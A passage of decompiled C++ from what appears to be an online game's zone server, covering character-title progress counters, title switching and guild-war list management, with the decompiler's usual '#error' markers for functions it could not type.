CurrentTitle, v11, v12) ) { CCharacterTitleZone::SetTitleStatusZone( (CCharacterTitleZone *)v8, CurrentTitle, CurrentTitleElement, ELEMENT_USABLE); v41 = 2; v39 = CurrentTitleElement; v37 = CurrentTitle; } else { CCharacterTitleZone::SetTitleStatusZone( (CCharacterTitleZone *)v8, CurrentTitle, CurrentTitleElement, ELEMENT_KNOWNED); v41 = 1; v39 = CurrentTitleElement; v37 = CurrentTitle; } CCharacterTitleZone::SetTitleStatus((CCharacterTitleZone *)v8, v37, v39, v41); CCharacterTitle::SetCurrentTitle( (CCharacterTitle *)v8, *(_BYTE *)v7, nStateNum, *(_WORD *)(v7 + 2), (const char *)netcmd); CCharacterTitle::SetTitleStatus((CCharacterTitle *)v8, *(_BYTE *)v7, *(_BYTE *)(v7 + 1), ELEMENT_USE); v13 = *(_BYTE *)(v8 + 561) | 0xC0; UseTitle.Type = *(_BYTE *)(v8 + 560); UseTitle._bf1 = v13; LOWORD(netcmd) = __PAIR__(v11 & 0x3F, (unsigned __int8)CurrentTitle) | 0x8000; CCharacterTitleZone::Send_NC_CT_SET_CURRENT_DB_CMD( (CCharacterTitleZone *)v8, (PROTO_NC_CT_SET_CURRENT_REQ *)v7, &UseTitle, (CT_INFO *)&netcmd); CCharacterTitleZone::Send_NC_CT_SET_CURRENT_ACK( (CCharacterTitleZone *)v8, *(_BYTE *)v7, nStateNum, *(_WORD *)(v7 + 2), 0xA01u); ShineObjectClass::ShinePlayer::sp_SetCharTitleChangeAvailableTime(v4, clockwatch.cw_CurrTick + 100); v14 = *(_DWORD *)(v4 + 78); v15 = *(_DWORD *)v14; v16 = *(_DWORD *)(v14 + 4); (*(void (__thiscall **)(int, _DWORD, _DWORD))(*(_DWORD *)v4 + 1200))( v4, *(_WORD *)(v4 + 4), "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"); v17 = *(_DWORD *)(v4 + 78); v18 = CurrentTitle; *(_DWORD *)v17 = v15; *(_DWORD *)(v17 + 4) = v16; v19 = CCharacterTitleDataStateServer::GetStateData(&gCharacterTitleDataStateServer, v18, CurrentTitleElement); if ( v19 ) { if ( v19->nStateNum > 0 ) { v20 = (int)&v19->StateData[0].pAbStateMainDic; CurrentTitleElement = v19->nStateNum; do { v21 = *(_DWORD *)v20; v22 = *(_DWORD *)v20 == 0; netcmd = *(WEAPON_TITLE_DATA **)(v20 - 4); if ( !v22 && (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 1000))(v4, *(_DWORD *)(*(_DWORD *)v21 + 34)) ) { (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 1608))(v4, *(_DWORD *)(*(_DWORD *)v21 + 34)); v23 = *(_DWORD *)(*(_DWORD *)v21 + 34); v24 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1320))(v4); AbnormalStateContainer::AbstateListInObject::asl_AbstateReset(v24, (#593 *)v4, v23); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1316))(v4); } if ( (*(int (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 1000))( v4, *(_DWORD *)(*(_DWORD *)&netcmd->MobID + 34)) ) { v25 = netcmd; (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 1608))(v4, *(_DWORD *)(*(_DWORD *)&netcmd->MobID + 34)); v26 = *(_DWORD *)(*(_DWORD *)&v25->MobID + 34); v27 = (AbnormalStateContainer::AbstateListInObject *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1320))(v4); AbnormalStateContainer::AbstateListInObject::asl_AbstateReset(v27, (#593 *)v4, v26); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1316))(v4); } v20 += 12; --CurrentTitleElement; } while ( CurrentTitleElement ); } AbnormalStateContainer::AbstateListInObject::asl_Routine( (AbnormalStateContainer::AbstateListInObject *)(v4 + 296), (#615 *)v4); if ( *(_BYTE *)v7 < 0x3Du ) { if ( (unsigned __int8)nStateNum < 4u ) { v28 = (char *)&gCharacterTitleDataStateServer + 76 * ((unsigned __int8)nStateNum + 4 * *(_BYTE *)v7); if ( v28 ) { v29 = (unsigned __int8)*v28; nStateNum = (unsigned __int8)*v28; netcmd = 0; if ( v29 > 0 ) { v30 = (int)(v28 + 4); do { v31 = *(_DWORD *)(v30 + 4); v32 = *(_BYTE *)v30; if ( !v31 ) break; v33 = v32; v34 = *(_DWORD *)(v31 + 36 * v32 + 8); if ( !v34 ) break; if ( (unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD, int, int, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v4 + 1584))( v4, v4, *(_DWORD *)(*(_DWORD *)v31 + 34), v33, v31, clockwatch.cw_CurrTick, 0, -1, *(_DWORD *)(v34 + 43), 1) ) { ShineObjectClass::ShineObject::so_AbnormalState_BitSet((void *)v4, *(_DWORD *)(*(_DWORD *)v31 + 34)); ShineObjectClass::ShineObject::so_AbnormalState_BroadcastSet( (void *)v4, *(_DWORD *)(*(_DWORD *)v31 + 34), -1, v33); (*(void (__thiscall **)(int, _DWORD, signed int, signed int))(*(_DWORD *)v4 + 1004))( v4, *(_DWORD *)(*(_DWORD *)v31 + 34), -1, 1); } v30 += 12; netcmd = (WEAPON_TITLE_DATA *)((char *)netcmd + 1); } while ( (signed int)netcmd < nStateNum ); } } } } } v49 = -1; LABEL_38: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CT_SET_CURRENT_REQ"); } //----- (00593AB0) -------------------------------------------------------- #error "593AB0: undefined or illegal type '#593' (funcsize=568)" //----- (00594140) -------------------------------------------------------- int __thiscall CCharacterTitleZone::TitleSetValue(CCharacterTitleZone *this, char Type, unsigned __int64 Value) { int result; // eax@2 char *v4; // edx@3 if ( (unsigned __int8)Type < 0x3Du ) { v4 = (char *)this + 16 * ((unsigned __int8)Type + 36); if ( *(_QWORD *)v4 != Value ) { *(_QWORD *)v4 = Value; this->m_TitleValues[(unsigned __int8)Type].bTitleSave = 1; } result = CCharacterTitleZone::CheckNewTitle(this, Type); } else { result = 0; } return result; } //----- (005941A0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_MoneyGive(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nTo) { CCharacterTitleZone *v3; // esi@1 int v4; // edi@1 v3 = this; v4 = mysecond(0); if ( v3->m_MoneyGiveTimeValue + 30 >= v4 ) { v3->m_MoneyGiveTimeValue = v4; v3->m_MoneyGivenToRegNum = nTo; } else { if ( nTo != v3->m_MoneyGivenToRegNum ) { v3->m_TitleValues[6].TitleValue += nMoney; v3->m_TitleValues[6].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v3, 6); } v3->m_MoneyGivenToRegNum = nTo; v3->m_MoneyGiveTimeValue = v4; } } //----- (00594230) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_MoneyBeg(CCharacterTitleZone *this, unsigned __int64 nMoney, unsigned int nFrom) { CCharacterTitleZone *v3; // esi@1 int v4; // edi@1 v3 = this; v4 = mysecond(0); if ( v3->m_MoneyBegTimeValue + 30 >= v4 ) { v3->m_MoneyBegTimeValue = v4; v3->m_MoneyBegnFromRegNum = nFrom; } else { if ( nFrom != v3->m_MoneyBegnFromRegNum ) { v3->m_TitleValues[7].TitleValue += nMoney; v3->m_TitleValues[7].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v3, 7); } v3->m_MoneyBegnFromRegNum = nFrom; v3->m_MoneyBegTimeValue = v4; } } //----- (005942C0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KilledByMob(CCharacterTitleZone *this, unsigned __int16 nMobID, unsigned __int16 nMobHandle) { CCharacterTitleZone *v3; // esi@1 int v4; // edi@1 v3 = this; ++this->m_TitleValues[9].TitleValue; this->m_TitleValues[9].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 9); v4 = mysecond(0); if ( v3->m_KilledByMobTimeValue + 180 >= v4 ) { v3->m_KilledByMobTimeValue = v4; v3->m_KilledByMobHandle = nMobHandle; } else { if ( nMobHandle != v3->m_KilledByMobHandle ) { ++v3->m_TitleValues[8].TitleValue; v3->m_TitleValues[8].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v3, 8); } v3->m_KilledByMobHandle = nMobHandle; v3->m_KilledByMobTimeValue = v4; } } //----- (00594380) -------------------------------------------------------- #error "594380: undefined or illegal type '#593' (funcsize=32)" //----- (005943F0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_PartyJoin(CCharacterTitleZone *this, unsigned __int16 nPartyNo, int nNumOfMember) { CCharacterTitleZone *v3; // esi@1 int v4; // eax@1 v3 = this; v4 = mysecond(0); if ( v3->m_PartyJoinTimeValue + 60 < v4 && v3->m_PartyJoinPartyNo != nPartyNo ) { if ( nNumOfMember >= 5 ) { v3->m_PartyJoinPartyNo = nPartyNo; v3->m_PartyJoinTimeValue = v4; ++v3->m_TitleValues[16].TitleValue; v3->m_TitleValues[16].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v3, 16); } } } //----- (00594470) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KQJoin(CCharacterTitleZone *this) { int v1; // edx@1 v1 = LODWORD(this->m_TitleValues[20].TitleValue); LODWORD(this->m_TitleValues[20].TitleValue) = v1 + 1; HIDWORD(this->m_TitleValues[20].TitleValue) += __CFADD__(v1, 1); this->m_TitleValues[20].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 20); } //----- (005944A0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KQSuccess(CCharacterTitleZone *this) { int v1; // edx@1 v1 = LODWORD(this->m_TitleValues[21].TitleValue); LODWORD(this->m_TitleValues[21].TitleValue) = v1 + 1; HIDWORD(this->m_TitleValues[21].TitleValue) += __CFADD__(v1, 1); this->m_TitleValues[21].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 21); } //----- (005944D0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_KQFail(CCharacterTitleZone *this) { int v1; // edx@1 v1 = LODWORD(this->m_TitleValues[22].TitleValue); LODWORD(this->m_TitleValues[22].TitleValue) = v1 + 1; HIDWORD(this->m_TitleValues[22].TitleValue) += __CFADD__(v1, 1); this->m_TitleValues[22].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 22); } //----- (00594500) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_SellNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID) { int v3; // edx@1 v3 = LODWORD(this->m_TitleValues[23].TitleValue); LODWORD(this->m_TitleValues[23].TitleValue) = v3 + 1; HIDWORD(this->m_TitleValues[23].TitleValue) += __CFADD__(v3, 1); this->m_TitleValues[23].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 23); } //----- (00594540) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_BuyNPC(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, unsigned __int16 nNPCID) { int v3; // edx@1 v3 = LODWORD(this->m_TitleValues[24].TitleValue); LODWORD(this->m_TitleValues[24].TitleValue) = v3 + 1; HIDWORD(this->m_TitleValues[24].TitleValue) += __CFADD__(v3, 1); this->m_TitleValues[24].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 24); } //----- (00594580) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_ItemUpSuccess(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel) { CCharacterTitleZone *v3; // esi@1 v3 = this; if ( (unsigned __int8)nItemLevel >= 2u ) { ++this->m_TitleValues[27].TitleValue; this->m_TitleValues[27].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 27); } if ( *(_QWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] == nItemNo && (unsigned __int8)nItemLevel >= 2u && v3->m_nUpgradeItemStatus == 1 ) { ++v3->m_TitleValues[29].TitleValue; v3->m_TitleValues[29].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v3, 29); } if ( (unsigned __int8)LODWORD(v3->m_TitleValues[31].TitleValue) < nItemLevel ) { v3->m_TitleValues[31].TitleValue += (unsigned __int8)nItemLevel - (unsigned __int8)LODWORD(v3->m_TitleValues[31].TitleValue); v3->m_TitleValues[31].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v3, 31); } v3->m_nUpgradeItemStatus = ((unsigned __int8)nItemLevel < 2u) + 1; *(_QWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] = nItemNo; } //----- (00594680) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_ItemUpFail(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel) { CCharacterTitleZone *v3; // esi@1 v3 = this; ++this->m_TitleValues[28].TitleValue; this->m_TitleValues[28].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 28); if ( *(_QWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] == nItemNo && !v3->m_nUpgradeItemStatus && (unsigned __int8)nItemLevel >= 2u ) { ++v3->m_TitleValues[30].TitleValue; v3->m_TitleValues[30].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v3, 30); } *(_DWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] = *(_DWORD *)&nItemNo; v3->m_nUpgradeItemStatus = 0; v3->m_nUpgradeItemNo.binary._bf4 = nItemNo.binary._bf4; } //----- (00594730) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_ItemUpDestroy(CCharacterTitleZone *this, SHINE_ITEM_REGISTNUMBER nItemNo, char nItemLevel) { CCharacterTitleZone *v3; // esi@1 v3 = this; ++this->m_TitleValues[32].TitleValue; this->m_TitleValues[32].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 32); ++v3->m_TitleValues[28].TitleValue; v3->m_TitleValues[28].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v3, 28); v3->m_nUpgradeItemStatus = 0; *(_DWORD *)&v3->m_nUpgradeItemNo.binary.gap0[0] = *(_DWORD *)&nItemNo; v3->m_nUpgradeItemNo.binary._bf4 = nItemNo.binary._bf4; } //----- (005947C0) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_AddFrined(CCharacterTitleZone *this, unsigned __int16 nNumOfFriend) { if ( this->m_TitleValues[34].TitleValue != nNumOfFriend ) { this->m_TitleValues[34].TitleValue = nNumOfFriend; this->m_TitleValues[34].bTitleSave = 1; } CCharacterTitleZone::CheckNewTitle(this, 34); } //----- (00594800) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_QuestSuccess(CCharacterTitleZone *this, unsigned __int16 nQuestID) { int v2; // edx@1 v2 = LODWORD(this->m_TitleValues[40].TitleValue); LODWORD(this->m_TitleValues[40].TitleValue) = v2 + 1; HIDWORD(this->m_TitleValues[40].TitleValue) += __CFADD__(v2, 1); this->m_TitleValues[40].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 40); } //----- (00594830) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_Chatting(CCharacterTitleZone *this) { if ( this->m_TitleValues[41].TitleValue ) { this->m_TitleValues[41].TitleValue = 0i64; this->m_TitleValues[41].bTitleSave = 1; } CCharacterTitleZone::CheckNewTitle(this, 41); } //----- (00594860) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_BroadCast(CCharacterTitleZone *this) { int v1; // edx@1 v1 = LODWORD(this->m_TitleValues[42].TitleValue); LODWORD(this->m_TitleValues[42].TitleValue) = v1 + 1; HIDWORD(this->m_TitleValues[42].TitleValue) += __CFADD__(v1, 1); this->m_TitleValues[42].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 42); } //----- (00594890) -------------------------------------------------------- #error "594890: undefined or illegal type '#593' (funcsize=51)" //----- (00594950) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiWin(CCharacterTitleZone *this, unsigned __int16 nWinCnt) { this->m_TitleValues[58].TitleValue += nWinCnt; this->m_TitleValues[58].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 58); } //----- (00594990) -------------------------------------------------------- void __thiscall CCharacterTitleZone::CT_WinDiceTaiSaiSet(CCharacterTitleZone *this) { int v1; // edx@1 v1 = LODWORD(this->m_TitleValues[59].TitleValue); LODWORD(this->m_TitleValues[59].TitleValue) = v1 + 1; HIDWORD(this->m_TitleValues[59].TitleValue) += __CFADD__(v1, 1); this->m_TitleValues[59].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(this, 59); } //----- (005949C0) -------------------------------------------------------- int __thiscall CCharacterTitleZone::ProcessTitle(CCharacterTitleZone *this) { CCharacterTitleZone *v1; // esi@1 int v2; // eax@1 unsigned int v3; // eax@2 v1 = this; v2 = mysecond(0) / 60; if ( v2 != v1->m_ProcessedTime ) { v1->m_ProcessedTime = v2; ++v1->m_TitleValues[3].TitleValue; v1->m_TitleValues[3].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v1, 3); ++v1->m_TitleValues[4].TitleValue; v1->m_TitleValues[4].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v1, 4); ++v1->m_TitleValues[41].TitleValue; v1->m_TitleValues[41].bTitleSave = 1; CCharacterTitleZone::CheckNewTitle(v1, 41); v3 = CCharacterTitle::GetMyTitleCount(&v1->baseclass_0); if ( LODWORD(v1->m_TitleValues[43].TitleValue) != v3 || HIDWORD(v1->m_TitleValues[43].TitleValue) ) { LODWORD(v1->m_TitleValues[43].TitleValue) = v3; HIDWORD(v1->m_TitleValues[43].TitleValue) = 0; v1->m_TitleValues[43].bTitleSave = 1; } CCharacterTitleZone::CheckNewTitle(v1, 43); } return 0; } //----- (00594AC0) -------------------------------------------------------- void __thiscall IObserver::_IObserver(IObserver *this) { this->vfptr = (IObserverVtbl *)IObserver::_vftable_; } // 6391A4: using guessed type int (*IObserver___vftable_[3])(); //----- (00594AD0) -------------------------------------------------------- unsigned __int16 __thiscall IObserver::notify(IObserver *this, #593 *a2, #593 *a3, IObserver::Event happen, const unsigned int DwParam, const int SDwParam, unsigned int birth, Metronome *Tick) { return 2; } //----- (00594AE0) -------------------------------------------------------- #error "594AE0: undefined or illegal type '#593' (funcsize=34)" //----- (00594B60) -------------------------------------------------------- #error "594B60: undefined or illegal type '#593' (funcsize=11)" //----- (00594B90) -------------------------------------------------------- #error "594B90: undefined or illegal type '#593' (funcsize=33)" //----- (00594BE0) -------------------------------------------------------- #error "594BE0: undefined or illegal type '#593' (funcsize=11)" //----- (00594C00) -------------------------------------------------------- void __thiscall Observer::SetTick(Observer *this) { Observer *v1; // esi@1 IObserver *v2; // eax@1 unsigned int v3; // eax@2 v1 = this; v2 = this->next_; if ( v2 ) { v3 = ((int (*)(void))v2->vfptr->GetConditionTick)(); Metronome::m_SetInterval(&v1->tick_, v1->birth_, v3); } } //----- (00594C20) -------------------------------------------------------- #error "594C20: undefined or illegal type '#593' (funcsize=33)" //----- (00594C80) -------------------------------------------------------- void __thiscall GUILD_ZONE::GUILD_ZONE(GUILD_ZONE *this) { *(_QWORD *)&this->sName.n4_name[8] = 0i64; *(_QWORD *)&this->sName.n4_name[0] = 0i64; } //----- (00594CA0) -------------------------------------------------------- int __thiscall GUILD_ZONE::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 20) = *(_DWORD *)(a2 + 20); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_BYTE *)(this + 28) = *(_BYTE *)(a2 + 28); *(_BYTE *)(this + 29) = *(_BYTE *)(a2 + 29); *(_DWORD *)(this + 30) = *(_DWORD *)(a2 + 30); *(_WORD *)(this + 34) = *(_WORD *)(a2 + 34); *(_DWORD *)(this + 36) = *(_DWORD *)(a2 + 36); *(_DWORD *)(this + 40) = *(_DWORD *)(a2 + 40); *(_BYTE *)(this + 44) = *(_BYTE *)(a2 + 44); *(_DWORD *)(this + 45) = *(_DWORD *)(a2 + 45); return result; } //----- (00594D10) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 67E3E4: using guessed type int (__stdcall *List_CGuildZone__GUILD_ZONE_LIST____vftable_[3])(__int16 hnd); //----- (00594D30) -------------------------------------------------------- void __thiscall CGuildZone::GUILD_ZONE_LIST::GUILD_ZONE_LIST(CGuildZone::GUILD_ZONE_LIST *this) { GUILD_ZONE::GUILD_ZONE(&this->GuildZone); } //----- (00594D40) -------------------------------------------------------- void __thiscall CGuildZone::_CGuildZone(CGuildZone *this) { CGuildZone *v1; // esi@1 void *v2; // esi@1 v1 = this; this->vfptr = (CGuildZoneVtbl *)&CGuildZone::_vftable_; _eh_vector_destructor_iterator_( this->gz_GuildArray, 0x3Cu, 16384, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->gz_GuildList.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->gz_GuildList.l_Array; if ( v2 ) operator delete__(v2); } // 67E3E4: using guessed type int (__stdcall *List_CGuildZone__GUILD_ZONE_LIST____vftable_[3])(__int16 hnd); // 67E400: using guessed type int (__thiscall *CGuildZone___vftable_)(CGuildZone *this, int pCmd); //----- (00594DB0) -------------------------------------------------------- int __thiscall CGuildZone::Add(CGuildZone *this, GUILD_ZONE *pGuildZone) { CGuildZone *v2; // ebx@1 unsigned __int16 v3; // ax@1 char *v4; // ecx@1 unsigned __int16 v5; // di@2 int v6; // esi@2 int result; // eax@5 v2 = this; v3 = this->gz_GuildList.l_Finger.empty; v4 = (char *)&this->gz_GuildList; if ( v3 == -1 ) { v5 = (unsigned __int16)pGuildZone; v6 = 0; } else { v5 = v3; v6 = (*(int (__stdcall **)(_WORD))(*(_DWORD *)v4 + 4))(v3); } if ( v6 ) { GUILD_ZONE::operator_(v6, (int)pGuildZone); *(_WORD *)(v6 + 56) = v5; *(_DWORD *)(v6 + 52) = 0; result = 1; } else { AssertClass::ac_AssertFail(&shineassert, "CGuildZone::ClearWar : Guild Buffer Full.", v2->gz_GuildList.l_ListNum); result = 0; } return result; } //----- (00594E20) -------------------------------------------------------- int __thiscall CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ(CGuildZone *this) { CGuildZone *v1; // esi@1 ZoneBaseSession *v2; // eax@4 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !v1->gz_IsSendReq ) { *(_WORD *)gpp.pp_Buffer = 29766; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 3) ) { v2 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v2); } else { AssertClass::ac_AssertFail(&shineassert, "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ : Packet Too Long", 3); } v1->gz_IsSendReq = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CGuildZone::Send_NC_GUILD_ZONE_LIST_REQ"); return 1; } //----- (00594F10) -------------------------------------------------------- #error "594F10: undefined or illegal type '#593' (funcsize=68)" //----- (00594FD0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2), (v4 = v3) != 0) ) { GUILD_ZONE::operator_(v3, (int)ele); *(_DWORD *)(v4 + 52) = ele->gzl_AttackMeGuild; *(_WORD *)(v4 + 56) = ele->gzl_ListHandle; result = 1; } else { result = 0; } return result; } //----- (00595010) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { int v2; // eax@1 int v3; // eax@2 int v4; // esi@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2), (v4 = v3) != 0) ) { GUILD_ZONE::operator_(v3, (int)ele); *(_DWORD *)(v4 + 52) = ele->gzl_AttackMeGuild; *(_WORD *)(v4 + 56) = ele->gzl_ListHandle; result = 1; } else { result = 0; } return result; } //----- (00595060) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; GUILD_ZONE::operator_((int)ele, *(_DWORD *)v6); ele->gzl_AttackMeGuild = *(_DWORD *)(v8 + 52); ele->gzl_ListHandle = *(_WORD *)(v8 + 56); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (005950C0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, CGuildZone::GUILD_ZONE_LIST *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // bx@1 int v6; // eax@2 int v8; // edi@4 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; v8 = *(_DWORD *)v6; GUILD_ZONE::operator_((int)ele, *(_DWORD *)v6); ele->gzl_AttackMeGuild = *(_DWORD *)(v8 + 52); ele->gzl_ListHandle = *(_WORD *)(v8 + 56); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (00595120) -------------------------------------------------------- void __thiscall CGuildZone::ClearWar(CGuildZone *this) { unsigned __int16 v1; // bp@2 unsigned __int16 v2; // di@3 ListStruct *v3; // edx@4 int v4; // eax@4 unsigned __int16 v5; // si@4 bool v6; // cf@4 bool v7; // zf@5 int v8; // edx@5 int v9; // edx@6 ListStruct *v10; // eax@9 if ( this->m_bInit ) { v1 = this->gz_GuildList.l_Array[this->gz_GuildList.l_Finger.store].ls_Next; while ( 1 ) { v2 = this->gz_GuildList.l_MaxSize; if ( v1 >= v2 ) break; v3 = this->gz_GuildList.l_Array; v4 = v1; v5 = v1; v6 = v1 < v2; v1 = v3[v1].ls_Next; if ( !v6 || (v7 = v3[v4].ls_IsActiv == 0, v8 = (int)&v3[v4], v7) ) v9 = 0; else v9 = *(_DWORD *)v8; *(_BYTE *)(v9 + 44) = 0; if ( v5 < this->gz_GuildList.l_MaxSize && (v10 = &this->gz_GuildList.l_Array[v4], v10->ls_IsActiv) ) v10->ls_Content->gzl_AttackMeGuild = 0; else v34 = 0; } } } //----- (005951A0) -------------------------------------------------------- CGuildZone::GUILD_ZONE_LIST *__thiscall CGuildZone::Find(CGuildZone *this, unsigned int nNo) { int v2; // eax@1 ListStruct *v3; // esi@1 unsigned __int16 v4; // cx@1 unsigned __int16 v5; // dx@1 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 int v9; // eax@4 bool v10; // zf@4 int v11; // eax@4 int v12; // eax@5 int v13; // eax@9 v2 = this->gz_GuildList.l_Finger.store; v3 = this->gz_GuildList.l_Array; v4 = this->gz_GuildList.l_MaxSize; v5 = v3[v2].ls_Next; while ( v5 < v4 ) { v6 = v5; v7 = v5; v8 = v5 < v4; v5 = v3[v5].ls_Next; if ( !v8 || (v9 = 3 * v6, v10 = v3[4 * v9 / 0xCu].ls_IsActiv == 0, v11 = (int)&v3[4 * v9 / 0xCu], v10) ) v12 = 0; else v12 = *(_DWORD *)v11; if ( *(_DWORD *)v12 == nNo ) { if ( v7 < v4 ) { v13 = (int)&v3[v7]; if ( *(_BYTE *)(v13 + 8) ) return *(CGuildZone::GUILD_ZONE_LIST **)v13; } return 0; } } return 0; } //----- (00595220) -------------------------------------------------------- int __thiscall CGuildZone::IsGuildEnemy(CGuildZone *this, unsigned int nGuild1, unsigned int nGuild2) { CGuildZone *v3; // ebp@1 CGuildZone::GUILD_ZONE_LIST *v4; // eax@1 int result; // eax@2 CGuildZone::GUILD_ZONE_LIST *v6; // eax@6 v3 = this; v4 = CGuildZone::Find(this, nGuild1); if ( v4 ) { if ( v4->GuildZone.nWarStatus == 2 && v4->GuildZone.nWarEnemy == nGuild2 || (v6 = CGuildZone::Find(v3, nGuild2)) != 0 && v6->GuildZone.nWarStatus == 2 && v6->GuildZone.nWarEnemy == nGuild1 ) { GuildWarManager::gwm_EnemyCheck(&gldwarman, 1, nGuild1, nGuild2); result = 1; } else { GuildWarManager::gwm_EnemyCheck(&gldwarman, 0, nGuild1, nGuild2); result = 0; } } else { 